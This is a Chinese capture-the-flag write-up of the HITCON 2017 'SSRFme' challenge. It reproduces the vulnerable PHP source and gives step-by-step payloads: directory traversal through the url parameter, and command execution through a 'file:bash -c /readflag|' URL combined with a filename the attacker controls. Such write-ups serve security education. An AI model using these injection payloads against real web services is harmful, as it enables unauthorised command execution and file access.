BUUCTF [HITCON 2017]SSRFme 1

Posted joker-yan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF [HITCON 2017]SSRFme 1相关的知识,希望对你有一定的参考价值。


说明

题目直接给出了源码,原本以为会很简单,没想到涉及了一大堆的linux命令行的命令执行,看了别人大佬的WP后感动鸭梨山大,但是认真复现后发现受益良多~

一、代码审计(这里为了不泄露个人信息,就假设了一个IP地址吧)

原本还以为是很简单的XFF漏洞利用,没想到啊~

127.0.0.1<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

代码分析:

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

$_SERVER["REMOTE_ADDR"]在这里相当于我们回显的IP地址。

所以执行这段代码相当于:$sandox="sandbox/" . md5("orange"."127.0.0.1");

执行后得到一个路径为:sandox/cfbb870b58817bf7705c0bd826e8dba7

然后使用mkdir()创建了这样的一个沙盒路径,并且使用chdir()将当前工作路径修改为:

sandox/cfbb870b58817bf7705c0bd826e8dba7

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);

这段代码比较灵魂的地方是在于$data变量

shell_exec("GET " . escapeshellarg($_GET["url"]));

这里使用了GET命令,以及一个过滤函数escapeshellarg()来过滤传入的变量url,生成的结果会放入变量$data中。

pahinfo()函数就是将传入的路径“字典化”,比如:

var_dump(pathinfo('sandox/cfbb870b58817bf7705c0bd826e8dba7/123'));

=>

array(3) {
  ["dirname"]=>
  string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
  ["basename"]=>
  string(3) "123"
  ["filename"]=>
  string(3) "123"
}

区别一下:

var_dump(pathinfo('sandox/cfbb870b58817bf7705c0bd826e8dba7/123.txt'));

=>

array(4) {
  ["dirname"]=>
  string(39) "sandox/cfbb870b58817bf7705c0bd826e8dba7"
  ["basename"]=>
  string(7) "123.txt"
  ["extension"]=>
  string(3) "txt"
  ["filename"]=>
  string(3) "123"
}

最后也是最重要的是file_put_contents(basename($info["basename"]), $data);

这个将我们linux命令生成的结果,放入了文件中(如果传入的文件名是123,那么$data就被放入sandox/cfbb870b58817bf7705c0bd826e8dba7/123中)

解题步骤

由于使用了GET来进行文件的执行操作,我们可以通过GET这个命令来浏览其他目录的内容

步骤一:

先传参:?url=./../../&filename=125

下一步访问文件

http://7edaf5b8-5f95-433a-b3d0-7c91f8e86d39.node4.buuoj.cn/sandbox/cfbb870b58817bf7705c0bd826e8dba7/125

出现了:

tips:(这里我一般打开多个页面,方便调试来自~)

通过这个方法去访问更上层的内容,看看能不能访问到flag

再传参:?url=./../../../../../&filename=125

步骤二:

但是执行到这一步后直接访问flag是空的,访问readflag发现是一串二进制文件(会自动下载下来看的)

所以显然是通过使用命令行去执行readflag,从而获取flag

针对GET命令,使用file:来搭配读取文件

而想执行readflag文件,仅仅是使用file:是不够的,还需要使用Linux下的命令执行:bash -c

目的:把通过命令行执行readflag后的结果放入文件123中。

再次传参:/?url=file:bash -c /readflag&filename=bash -c /readflag

进一步传参:/?url=file:bash -c /readflag&filename=123

发现文件没有写入成功,看了WP后说是要多加一个管道符“|”

再次传参:/?url=file:bash -c /readflag|&filename=bash -c /readflag

进一步传参:/?url=file:bash -c /readflag&filename=123

访问http://7edaf5b8-5f95-433a-b3d0-7c91f8e86d39.node4.buuoj.cn/sandbox/cfbb870b58817bf7705c0bd826e8dba7/123


总结

对于第一次传参的文件名filename=bash -c /readflag

感到异或,我试过其他的文件名第一次是不可以的,但是使用上面的文件名后再次修改其他的文件名发现是可以的。先保留吧,后续我弄出来了就处理

以上是关于BUUCTF [HITCON 2017]SSRFme 1的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF [HITCON 2017]SSRFme 1

bmzctf 刷题 hitcon_2017_ssrfme

BUU-WEB-[HITCON 2017]SSRFme

WEB|[HITCON 2017]SSRFme

HITCON-Training-Writeup

syscall to rop